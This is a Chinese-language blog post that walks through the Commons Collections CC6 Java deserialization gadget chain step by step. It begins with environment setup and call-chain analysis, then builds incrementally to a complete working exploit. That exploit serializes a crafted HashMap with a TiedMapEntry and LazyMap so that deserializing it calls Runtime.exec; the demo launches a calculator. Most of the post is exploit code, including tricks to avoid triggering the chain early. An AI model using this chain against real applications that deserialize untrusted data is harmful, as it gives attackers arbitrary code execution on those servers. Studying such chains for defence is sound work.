CC6

发布时间 2023-08-15 14:21:24作者: sketch_pl4ne

参考链接

https://www.bilibili.com/video/BV1yP4y1p7N7
https://y0n3er.github.io/undefined/29590.html
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

环境搭建

jdk_8u71:https://blog.lupf.cn/articles/2022/02/20/1645352101537.html
虚拟机安装以后拷贝出来
image.png
然后在project structure里配置Project、Modules、SDKs
image.png
注意:调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致变量值改变!
image.png

调用链分析

yoserial的调用链

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashMap.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

底层和CC1-LazyMap是一样的,只分析一下LazyMap上面的调用。

  1. TiedMapEntry#getValue()调用了map.get(key)
image.png
  1. TiedMapEntry#hashCode()调用了TiedMapEntry#getValue()

image.png

  1. HashMap#hash(Object key)调用了key.hashCode()

image.png

  1. HashMap#readObject()调用了HashMap#hash(key)

image.png

所以只需要一个HashMap序列化,key指定为TiedMapEntry对象,
再把TiedMapEntry对象的map属性改成LazyMap对象,就会调到它的get了。

编写Exp

lazyMap#get()

先确定lazyMap.get()能触发命令执行,Exp如下:

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        lazyMap.get("Jasper");
    }
}

image.png

TiedMapEntry#getvalue()

然后再构造TiedMapEntry的对象,观察是否能调到get()
注意构造函数要把lazyMap传进去,key随便取

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        // lazyMap.get("Jasper");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
        tiedMapEntry.getValue();
    }
}

image.png

TiedMapEntry#hashCode()

hashCode()经常用来和入口类HashMap对接,需要比较敏感。
这里和上一步没差别,加了一层函数调用而已,为的是方便连上后面的入口类:

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        // lazyMap.get("Jasper");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
        // tiedMapEntry.getValue();
        tiedMapEntry.hashCode();
    }
}

image.png

HashMap#hash()

这个hash()是default的,我们用反射访问,确定链子到这没问题,Exp如下:

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        // lazyMap.get("Jasper");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
        // tiedMapEntry.getValue();
        // tiedMapEntry.hashCode();
        Class clazz = Class.forName("java.util.HashMap");
        Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
        hashMethod.setAccessible(true);
        hashMethod.invoke(clazz,tiedMapEntry);
    }
}

image.png

HashMap#readObject()

它的反序列化函数会把hashMap这个对象里的key读出来做hash(),即hash(key)
这就需要我们在要序列化的对象里,put一个键值对,把key设成tiedMapEntry对象
Exp如下:

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
        // lazyMap.get("Jasper");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
        // tiedMapEntry.getValue();
        // tiedMapEntry.hashCode();
        // Class clazz = Class.forName("java.util.HashMap");
        // Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
        // hashMethod.setAccessible(true);
        // hashMethod.invoke(clazz,tiedMapEntry);
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"Jasper");
        serialize(hashMap1);
        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
    
        System.out.println("序列化完成...");
	}

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

image.png
注意:这里实际上在put键值对的时候就调用了链条,弹出了计算器,这显然不对。
image.png

最终Exp

到这里,Exp还存在两个问题:

  • put的时候会提前调用了链条(老让自己电脑执行命令,不方便利用)
  • put调用链子后,再次反序列化不会进transfor()

首先解决HashMap#put()会触发链条的问题,这是因为它也会调HashMap#hash()

image.png

这意味着我们的链条会先被执行一次,而我们不想让它在自己电脑弹计算器(不方便),可以做这个修改:

//原来
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
//改成
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));

这样一来,即使put调用了链子,也只是返回一个常量,不会弹计算器。
但是,我们在改了链条去绕put之后,在反序列化之前肯定要把链子改回来,尝试编写Exp如下:

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        //修改链子,防止put消耗链条
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
//        lazyMap.get("Jasper");
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
//        tiedMapEntry.getValue();
//        tiedMapEntry.hashCode();
//        Class clazz = Class.forName("java.util.HashMap");
//        Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
//        hashMethod.setAccessible(true);
//        hashMethod.invoke(clazz,tiedMapEntry);

        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"Jasper");
        //把链子改回来
        Field factoryField = lazyMap.getClass().getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        serialize(hashMap1);
        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

实际上虽然put弹了计算器,但后续还是能正常反序列化再弹一个计算器,这里猜测改掉的原因,主要可能是方便后续利用吧。
然后,解决反序列化不进transform()的问题,我们试着调试一下反序列化函数:

get:157, LazyMap
getValue:74, TiedMapEntry
hashCode:121, TiedMapEntry
hash:338, HashMap
readObject:1397, HashMap
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
invokeReadObject:1058, ObjectStreamClass
readSerialData:1900, ObjectInputStream
readOrdinaryObject:1801, ObjectInputStream
readObject0:1351, ObjectInputStream
readObject:371, ObjectInputStream
unserialize:62, TestCC6
main:48, TestCC6

发现这里key2已经存在了,导致过不了判断,进不了transform(),这是为什么呢?

image.png

原因在于,执行put的时候调用过了一次这条链,在那时LazyMap就把没加载进来的key2给加进来了:

get:159, LazyMap
getValue:74, TiedMapEntry
hashCode:121, TiedMapEntry
hash:338, HashMap
put:611, HashMap
main:41, TestCC6

image.png

这也是LazyMap类的功能所在,所谓的懒加载,那我们得想办法进到if判断里,来调transform()
这里很容易想到,我们把在序列化之前,再把key2给删了就好,最终Exp如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class TestCC6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("key1","value1");
        //修改链子,防止put消耗链条
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key2");
        HashMap<Object,Object> hashMap1 = new HashMap<>();
        hashMap1.put(tiedMapEntry,"Jasper");
        //把链子改回来
        Field factoryField = lazyMap.getClass().getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);
        //绕过IF判断,调用Transform
        lazyMap.remove("key2");
        serialize(hashMap1);
        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

注意事项

调试器的这里关闭这两个选项,不然debug会自动执行一些方法,导致调试HashMap#put()的时候,
走到LazyMap#get()里,会自动给map添加key2,导致无论如何都过不了if,也调不了transform()
image.png

image.png

总结

CC6这条是不限制jdk版本的链子,比较通用,毕竟没有哪个版本会把HashMap给过滤了。
值得注意的是,CC6这条链给出了在Exp编写中,某个函数提前触发了链条的解决办法。
这条链本身并不难,主要是被IDEA的调试器给制裁了,导致调半天找不出原因。